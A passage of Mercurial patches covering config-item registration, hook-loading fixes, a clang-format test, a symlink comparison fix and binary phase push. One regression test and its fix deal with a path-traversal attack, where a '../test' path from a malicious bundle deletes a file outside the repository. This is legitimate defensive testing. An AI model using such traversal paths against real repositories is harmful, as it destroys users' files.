         deltachainspan = endbyte - startbyte
 
-        if len(revs) <= 1:
+        if deltachainspan <= revlog._srminblocksize or len(revs) <= 1:
             yield revs
             continue
 
@@ -360,6 +360,7 @@
         self._maxdeltachainspan = -1
         self._withsparseread = False
         self._srdensitythreshold = 0.25
+        self._srminblocksize = 262144
 
         mmapindexthreshold = None
         v = REVLOG_DEFAULT_VERSION
@@ -389,6 +390,8 @@
             self._withsparseread = bool(opts.get('with-sparse-read', False))
             if 'sparse-read-density-threshold' in opts:
                 self._srdensitythreshold = opts['sparse-read-density-threshold']
+            if 'sparse-read-min-block-size' in opts:
+                self._srminblocksize = opts['sparse-read-min-block-size']
 
         if self._chunkcachesize <= 0:
             raise RevlogError(_('revlog chunk cache size %r is not greater '
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507487833 -7200
#      Sun Oct 08 20:37:13 2017 +0200
# Node ID 18a3274ed675b78a680b0ca3ab4e22a2b6c66f70
# Parent  4d5d5009bd7544ac0c2c5366bd04bc4228a5b148
configitems: register the full 'merge-tools' config and sub-options

We register the merge-tools config section (which has an arbitrary base config
value) and the possible sub-attribute. The sub-attribute has to be registered
first or at the same time otherwise the '.*' item would shadow them.

Merge tools could include "." in their name so we can't constrain any more
than just ".*".

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -544,6 +544,60 @@
 coreconfigitem('merge', 'preferancestor',
         default=lambda: ['*'],
 )
+coreconfigitem('merge-tools', '.*',
+    default=None,
+    generic=True,
+)
+coreconfigitem('merge-tools', r'.*\.args$',
+    default="$local $base $other",
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.binary$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.check$',
+    default=list,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.checkchanged$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.executable$',
+    default=dynamicdefault,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.fixeol$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.gui$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.priority$',
+    default=0,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.premerge$',
+    default=dynamicdefault,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', r'.*\.symlink$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
 coreconfigitem('pager', 'attend-.*',
     default=dynamicdefault,
     generic=True,
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -29,16 +29,14 @@
     util,
 )
 
-def _toolstr(ui, tool, part, default=""):
-    return ui.config("merge-tools", tool + "." + part, default)
+def _toolstr(ui, tool, part, *args):
+    return ui.config("merge-tools", tool + "." + part, *args)
 
-def _toolbool(ui, tool, part, default=False):
-    return ui.configbool("merge-tools", tool + "." + part, default)
+def _toolbool(ui, tool, part,*args):
+    return ui.configbool("merge-tools", tool + "." + part, *args)
 
-def _toollist(ui, tool, part, default=None):
-    if default is None:
-        default = []
-    return ui.configlist("merge-tools", tool + "." + part, default)
+def _toollist(ui, tool, part):
+    return ui.configlist("merge-tools", tool + "." + part)
 
 internals = {}
 # Merge tools to document.
@@ -186,8 +184,8 @@
     for k, v in ui.configitems("merge-tools"):
         t = k.split('.')[0]
         if t not in tools:
-            tools[t] = int(_toolstr(ui, t, "priority", "0"))
-        if _toolbool(ui, t, "disabled", False):
+            tools[t] = int(_toolstr(ui, t, "priority"))
+        if _toolbool(ui, t, "disabled"):
             disabled.add(t)
     names = tools.keys()
     tools = sorted([(-p, tool) for tool, p in tools.items()
@@ -327,7 +325,7 @@
     try:
         premerge = _toolbool(ui, tool, "premerge", not binary)
     except error.ConfigError:
-        premerge = _toolstr(ui, tool, "premerge").lower()
+        premerge = _toolstr(ui, tool, "premerge", "").lower()
         if premerge not in validkeep:
             _valid = ', '.join(["'" + v + "'" for v in validkeep])
             raise error.ConfigError(_("%s.premerge not valid "
@@ -508,7 +506,7 @@
                }
         ui = repo.ui
 
-        args = _toolstr(ui, tool, "args", '$local $base $other')
+        args = _toolstr(ui, tool, "args")
         if "$output" in args:
             # read input from backup, write to original
             out = a
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507494147 -7200
#      Sun Oct 08 22:22:27 2017 +0200
# Node ID 96802496ecc0e244a2fb98279df44649207ccdfd
# Parent  18a3274ed675b78a680b0ca3ab4e22a2b6c66f70
configitems: register the 'experimental.effect-flags' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -348,6 +348,9 @@
 coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
+coreconfigitem('experimental', 'effect-flags',
+    default=False,
+)
 coreconfigitem('experimental', 'stabilization',
     default=list,
     alias=[('experimental', 'evolution')],
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -1049,8 +1049,7 @@
 
     # Effect flag metadata handling
     saveeffectflag = repo.ui.configbool('experimental',
-                                        'effect-flags',
-                                        False)
+                                        'effect-flags')
 
     tr = repo.transaction('add-obsolescence-marker')
     try:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508170589 -7200
#      Mon Oct 16 18:16:29 2017 +0200
# Node ID 46610c85121619f37b3664c481e5ec634e440e71
# Parent  96802496ecc0e244a2fb98279df44649207ccdfd
configitems: register the 'web.archivesubrepos' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -954,6 +954,9 @@
 coreconfigitem('web', 'allowzip',
     default=False,
 )
+coreconfigitem('web', 'archivesubrepos',
+    default=False,
+)
 coreconfigitem('web', 'cache',
     default=True,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507936563 -7200
#      Sat Oct 14 01:16:03 2017 +0200
# Node ID 120c5c155ba449c4ba009f2328edce2fd862c56f
# Parent  46610c85121619f37b3664c481e5ec634e440e71
acl: make sure the extensions is enabled when the acl-hooks run

The acl extension is usually setup through hooks and never directly activated.
This means the config item declared in the extension are not loaded.
We add the necessary logic to make sure the extensions are loaded before the hook
run.

diff --git a/hgext/acl.py b/hgext/acl.py
--- a/hgext/acl.py
+++ b/hgext/acl.py
@@ -198,6 +198,7 @@
 from mercurial.i18n import _
 from mercurial import (
     error,
+    extensions,
     match,
     registrar,
     util,
@@ -307,7 +308,23 @@
         return match.match(repo.root, '', pats)
     return util.never
 
+def ensureenabled(ui):
+    """make sure the extension is enabled when used as hook
+
+    When acl is used through hooks, the extension is never formally loaded and
+    enabled. This has some side effect, for example the config declaration is
+    never loaded. This function ensure the extension is enabled when running
+    hooks.
+    """
+    if 'acl' in ui._knownconfig:
+        return
+    ui.setconfig('extensions', 'acl', '', source='internal')
+    extensions.loadall(ui, ['acl'])
+
 def hook(ui, repo, hooktype, node=None, source=None, **kwargs):
+
+    ensureenabled(ui)
+
     if hooktype not in ['pretxnchangegroup', 'pretxncommit']:
         raise error.Abort(_('config error - hook type "%s" cannot stop '
                            'incoming changesets nor commits') % hooktype)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507936186 -7200
#      Sat Oct 14 01:09:46 2017 +0200
# Node ID 60802bba1090637e13aba80c8cea7dcb68d86d16
# Parent  120c5c155ba449c4ba009f2328edce2fd862c56f
eol: ensure the eol extensions is loaded when hooks run

Similar to the change we did to the 'acl' extensions, we want to make sure the
config items are registered before we run the hooks.

diff --git a/hgext/eol.py b/hgext/eol.py
--- a/hgext/eol.py
+++ b/hgext/eol.py
@@ -244,8 +244,22 @@
                   "at %s: %s\n") % (inst.args[1], inst.args[0]))
     return None
 
+def ensureenabled(ui):
+    """make sure the extension is enabled when used as hook
+
+    When eol is used through hooks, the extension is never formally loaded and
+    enabled. This has some side effect, for example the config declaration is
+    never loaded. This function ensure the extension is enabled when running
+    hooks.
+    """
+    if 'eol' in ui._knownconfig:
+        return
+    ui.setconfig('extensions', 'eol', '', source='internal')
+    extensions.loadall(ui, ['eol'])
+
 def _checkhook(ui, repo, node, headsonly):
     # Get revisions to check and touched files at the same time
+    ensureenabled(ui)
     files = set()
     revs = set()
     for rev in xrange(repo[node].rev(), len(repo)):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507928431 -7200
#      Fri Oct 13 23:00:31 2017 +0200
# Node ID 44c4ed4ad0326c6a8ab09b7a27c40a45e67ec1f3
# Parent  60802bba1090637e13aba80c8cea7dcb68d86d16
configitems: move rebase config into core

The shelve extensions import and call rebase content without loading the
extension. This is problematic as the config items rebase uses are not
declared and the default value are not set, etc...

The shelve extension should be using core utilities only and the necessary bit
should be moved from rebase into core. In the meantime, I'm taking a small
step to get config registration completed with minimal overhead. The rebase
extension is shipped with core so registering its config option within core is
not a big issue.

This is the last step needed before we can install a warning that enforces all
config to be registered.

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -73,20 +73,6 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
-configtable = {}
-configitem = registrar.configitem(configtable)
-
-configitem('commands', 'rebase.requiredest',
-            default=False,
-)
-
-configitem('experimental', 'rebaseskipobsolete',
-    default=True,
-)
-configitem('rebase', 'singletransaction',
-    default=False,
-)
-
 def _nothingtorebase():
     return 1
 
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -1085,3 +1085,16 @@
 coreconfigitem('worker', 'numcpus',
     default=None,
 )
+
+# Rebase related configuration moved to core because other extension are doing
+# strange things. For example, shelve import the extensions to reuse some bit
+# without formally loading it.
+coreconfigitem('commands', 'rebase.requiredest',
+            default=False,
+)
+coreconfigitem('experimental', 'rebaseskipobsolete',
+    default=True,
+)
+coreconfigitem('rebase', 'singletransaction',
+    default=False,
+)
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1508252863 25200
#      Tue Oct 17 08:07:43 2017 -0700
# Node ID d6009d1488e82f1be2d88b4df1a9b117ba0374fd
# Parent  44c4ed4ad0326c6a8ab09b7a27c40a45e67ec1f3
tests: add test demonstrating regression in path audit

D785 regressed behavior in path auditing: files can be deleted if they have a
path that conflicts with a filename from a malicious remote or bundle.

This test demonstrates the problem - the file should not have been deleted.

Differential Revision: https://phab.mercurial-scm.org/D1156

diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -119,9 +119,14 @@
 
   $ hg manifest -r3
   ../test
+  $ mkdir ../test
+  $ echo data > ../test/file
   $ hg update -Cr3
   abort: path contains illegal component: ../test (glob)
   [255]
+  $ cat ../test/file
+  cat: ../test/file: No such file or directory
+  [1]
 
 attack /tmp/test
 
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1508253073 25200
#      Tue Oct 17 08:11:13 2017 -0700
# Node ID 07bbb208a92469ecc053897537db674346d32535
# Parent  d6009d1488e82f1be2d88b4df1a9b117ba0374fd
context: audit paths before clearing unknown files and dirs

Fix regression introduced in D785.

In some circumstances, context.clearunknown can be called before the path is
audited. Audit the path before deleting any conflicting files.

Differential Revision: https://phab.mercurial-scm.org/D1157

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1946,6 +1946,7 @@
         """
         wvfs = self._repo.wvfs
         f = self._path
+        wvfs.audit(f)
         if wvfs.isdir(f) and not wvfs.islink(f):
             wvfs.rmtree(f, forcibly=True)
         for p in reversed(list(util.finddirs(f))):
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -125,8 +125,7 @@
   abort: path contains illegal component: ../test (glob)
   [255]
   $ cat ../test/file
-  cat: ../test/file: No such file or directory
-  [1]
+  data
 
 attack /tmp/test
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1442254647 14400
#      Mon Sep 14 14:17:27 2015 -0400
# Node ID 2e8477059d4f34927600781296704cc87485fb7e
# Parent  07bbb208a92469ecc053897537db674346d32535
test-clang-format: new test to verify that files stay clang-formatted

For now all .c and .h files are blacklisted. As they become
clang-formatted, we'll remove them from the blacklist,and then this
test will produce output if there are diffs.

Differential Revision: https://phab.mercurial-scm.org/D1133

diff --git a/contrib/clang-format-blacklist b/contrib/clang-format-blacklist
new file mode 100644
--- /dev/null
+++ b/contrib/clang-format-blacklist
@@ -0,0 +1,70 @@
+# Files that just need to be migrated to the formatter.
+# Do not add new files here!
+contrib/chg/chg.c
+contrib/chg/hgclient.c
+contrib/chg/hgclient.h
+contrib/chg/procutil.c
+contrib/chg/procutil.h
+contrib/chg/util.c
+contrib/chg/util.h
+contrib/hgsh/hgsh.c
+mercurial/cext/base85.c
+mercurial/cext/bdiff.c
+mercurial/cext/charencode.c
+mercurial/cext/charencode.h
+mercurial/cext/diffhelpers.c
+mercurial/cext/dirs.c
+mercurial/cext/manifest.c
+mercurial/cext/mpatch.c
+mercurial/cext/osutil.c
+mercurial/cext/parsers.c
+mercurial/cext/pathencode.c
+mercurial/cext/revlog.c
+# Vendored code that we should never format:
+contrib/python-zstandard/c-ext/bufferutil.c
+contrib/python-zstandard/c-ext/compressiondict.c
+contrib/python-zstandard/c-ext/compressionparams.c
+contrib/python-zstandard/c-ext/compressionwriter.c
+contrib/python-zstandard/c-ext/compressobj.c
+contrib/python-zstandard/c-ext/compressor.c
+contrib/python-zstandard/c-ext/compressoriterator.c
+contrib/python-zstandard/c-ext/constants.c
+contrib/python-zstandard/c-ext/decompressionwriter.c
+contrib/python-zstandard/c-ext/decompressobj.c
+contrib/python-zstandard/c-ext/decompressor.c
+contrib/python-zstandard/c-ext/decompressoriterator.c
+contrib/python-zstandard/c-ext/frameparams.c
+contrib/python-zstandard/c-ext/python-zstandard.h
+contrib/python-zstandard/zstd.c
+contrib/python-zstandard/zstd/common/bitstream.h
+contrib/python-zstandard/zstd/common/entropy_common.c
+contrib/python-zstandard/zstd/common/error_private.c
+contrib/python-zstandard/zstd/common/error_private.h
+contrib/python-zstandard/zstd/common/fse.h
+contrib/python-zstandard/zstd/common/fse_decompress.c
+contrib/python-zstandard/zstd/common/huf.h
+contrib/python-zstandard/zstd/common/mem.h
+contrib/python-zstandard/zstd/common/pool.c
+contrib/python-zstandard/zstd/common/pool.h
+contrib/python-zstandard/zstd/common/threading.c
+contrib/python-zstandard/zstd/common/threading.h
+contrib/python-zstandard/zstd/common/xxhash.c
+contrib/python-zstandard/zstd/common/xxhash.h
+contrib/python-zstandard/zstd/common/zstd_common.c
+contrib/python-zstandard/zstd/common/zstd_errors.h
+contrib/python-zstandard/zstd/common/zstd_internal.h
+contrib/python-zstandard/zstd/compress/fse_compress.c
+contrib/python-zstandard/zstd/compress/huf_compress.c
+contrib/python-zstandard/zstd/compress/zstd_compress.c
+contrib/python-zstandard/zstd/compress/zstd_opt.h
+contrib/python-zstandard/zstd/compress/zstdmt_compress.c
+contrib/python-zstandard/zstd/compress/zstdmt_compress.h
+contrib/python-zstandard/zstd/decompress/huf_decompress.c
+contrib/python-zstandard/zstd/decompress/zstd_decompress.c
+contrib/python-zstandard/zstd/dictBuilder/cover.c
+contrib/python-zstandard/zstd/dictBuilder/divsufsort.c
+contrib/python-zstandard/zstd/dictBuilder/divsufsort.h
+contrib/python-zstandard/zstd/dictBuilder/zdict.c
+contrib/python-zstandard/zstd/dictBuilder/zdict.h
+contrib/python-zstandard/zstd/zstd.h
+hgext/fsmonitor/pywatchman/bser.c
diff --git a/tests/test-check-clang-format.t b/tests/test-check-clang-format.t
new file mode 100644
--- /dev/null
+++ b/tests/test-check-clang-format.t
@@ -0,0 +1,10 @@
+#require clang-format test-repo
+
+  $ . "$TESTDIR/helpers-testrepo.sh"
+
+  $ cd "$TESTDIR"/..
+  $ for f in `testrepohg files 'set:(**.c or **.h) and not "listfile:contrib/clang-format-blacklist"'` ; do
+  >   clang-format --style file $f > $f.formatted
+  >   cmp $f $f.formatted || diff -u $f $f.formatted
+  >   rm $f.formatted
+  > done
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1508269284 25200
#      Tue Oct 17 12:41:24 2017 -0700
# Node ID 14c87708f4328fa46938be99d6deba678f3455aa
# Parent  2e8477059d4f34927600781296704cc87485fb7e
arbitraryfilecontext: skip the cmp fast path if any side is a symlink

`filecmp` follows symlinks by default, which a `filectx.cmp()` call should not
be doing as it should only compare the  requested entry. After this patch, only
the contexts' data are compared, which is the correct contract.

This is a corrected version of D1122.

Differential Revision: https://phab.mercurial-scm.org/D1165

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2570,9 +2570,13 @@
         self._path = path
 
     def cmp(self, fctx):
-        if isinstance(fctx, workingfilectx) and self._repo:
+        # filecmp follows symlinks whereas `cmp` should not, so skip the fast
+        # path if either side is a symlink.
+        symlinks = ('l' in self.flags() or 'l' in fctx.flags())
+        if not symlinks and isinstance(fctx, workingfilectx) and self._repo:
             # Add a fast-path for merge if both sides are disk-backed.
-            # Note that filecmp uses the opposite return values as cmp.
+            # Note that filecmp uses the opposite return values (True if same)
+            # from our cmp functions (True if different).
             return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
         return self.data() != fctx.data()
 
diff --git a/tests/test-arbitraryfilectx.t b/tests/test-arbitraryfilectx.t
new file mode 100644
--- /dev/null
+++ b/tests/test-arbitraryfilectx.t
@@ -0,0 +1,57 @@
+Setup:
+  $ cat > eval.py <<EOF
+  > from __future__ import absolute_import
+  > import filecmp
+  > from mercurial import commands, context, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command(b'eval', [], 'hg eval CMD')
+  > def eval_(ui, repo, *cmds, **opts):
+  >     cmd = " ".join(cmds)
+  >     res = str(eval(cmd, globals(), locals()))
+  >     ui.warn("%s" % res)
+  > EOF
+
+  $ echo "[extensions]" >> $HGRCPATH
+  $ echo "eval=`pwd`/eval.py" >> $HGRCPATH
+
+Arbitraryfilectx.cmp does not follow symlinks:
+  $ mkdir case1
+  $ cd case1
+  $ hg init
+  $ printf "A" > real_A
+  $ printf "foo" > A
+  $ printf "foo" > B
+  $ ln -s A sym_A
+  $ hg add .
+  adding A
+  adding B
+  adding real_A
+  adding sym_A
+  $ hg commit -m "base"
+
+These files are different and should return True (different):
+(Note that filecmp.cmp's return semantics are inverted from ours, so we invert
+for simplicity):
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['real_A'])"
+  True (no-eol)
+  $ hg eval "not filecmp.cmp('A', 'real_A')"
+  True (no-eol)
+
+These files are identical and should return False (same):
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['A'])"
+  False (no-eol)
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['B'])"
+  False (no-eol)
+  $ hg eval "not filecmp.cmp('A', 'B')"
+  False (no-eol)
+
+This comparison should also return False, since A and sym_A are substantially
+the same in the eyes of ``filectx.cmp``, which looks at data only.
+  $ hg eval "context.arbitraryfilectx('real_A', repo).cmp(repo[None]['sym_A'])"
+  False (no-eol)
+
+A naive use of filecmp on those two would wrongly return True, since it follows
+the symlink to "A", which has different contents.
+  $ hg eval "not filecmp.cmp('real_A', 'sym_A')"
+  True (no-eol)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1505929086 -7200
#      Wed Sep 20 19:38:06 2017 +0200
# Node ID 537de0b14030868e3e850ae388b08f88cabc88e8
# Parent  14c87708f4328fa46938be99d6deba678f3455aa
phase: use a binary phase part to push through bundle2 (BC)

The part we are using for pull is now used for push too. As we no longer use
pushkey, pushkey hooks are no longer triggered. This is an obvious backward
incompatible change. We could artificially trigger the pushkey hook within the
bundle2 part, but this seemed too hacky to me.

An option would be to disable by default this new mechanism for a couple of
versions to help people migrate to `txnclose-phase`. I took the liberal and
optimistic path to just turn it on by default directly.

.. bc::

   Push no longer triggers a pushkey hook when updating phases. Use the new
   `txnclose-phase` and `txnclose-phase` hooks instead.
   (Applies when both server and client use version 4.4 or above).

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -806,9 +806,26 @@
     if 'phases' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
-    if 'pushkey' in b2caps:
+    ui = pushop.repo.ui
+
+    legacyphase = 'phases' in ui.configlist('devel', 'legacy.exchange')
+    haspushkey = 'pushkey' in b2caps
+    hasphaseheads = 'heads' in b2caps.get('phases', ())
+
+    if hasphaseheads and not legacyphase:
+        _pushb2phaseheads(pushop, bundler)
+    elif haspushkey:
         _pushb2phasespushkey(pushop, bundler)
 
+def _pushb2phaseheads(pushop, bundler):
+    """push phase information through a bundle2 - binary part"""
+    pushop.stepsdone.add('phases')
+    if pushop.outdatedphases:
+        updates = [[] for p in phases.allphases]
+        updates[0].extend(h.node() for h in pushop.outdatedphases)
+        phasedata = phases.binaryencode(updates)
+        bundler.newpart('phase-heads', data=phasedata)
+
 def _pushb2phasespushkey(pushop, bundler):
     """push phase information through a bundle2 - pushkey part"""
     pushop.stepsdone.add('phases')
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -97,7 +97,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -117,17 +117,15 @@
   adding quux/file.py revisions
   added 3 changesets with 3 changes to 3 files
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -162,7 +160,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -184,17 +182,15 @@
   calling hook pretxnchangegroup.acl: hgext.acl.hook
   acl: changes have source "push" - skipping
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -230,7 +226,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -262,17 +258,15 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   acl: path access granted: "911600dab2ae"
   bundle2-input-part: total payload size 1553
-  bundle2-input-part: "pushkey" (params: 4 mandatory) supported
-  pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   updating the branch cache
-  bundle2-output-bundle: "HG20", 2 parts total
+  bundle2-output-bundle: "HG20", 1 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
-  bundle2-output-part: "reply:pushkey" (params: 0 advisory) empty payload
   bundle2-input-bundle: no-transaction
   bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported
-  bundle2-input-part: "reply:pushkey" (params: 0 advisory) supported
-  bundle2-input-bundle: 1 parts total
+  bundle2-input-bundle: 0 parts total
   listing keys for "phases"
   repository tip rolled back to revision 0 (undo push)
   0:6675d58eff77
@@ -308,7 +302,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -336,6 +330,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -375,7 +370,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -407,6 +402,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -447,7 +443,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -475,6 +471,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -516,7 +513,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -548,6 +545,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
@@ -590,7 +588,7 @@
   bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
-  bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
@@ -620,6 +618,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
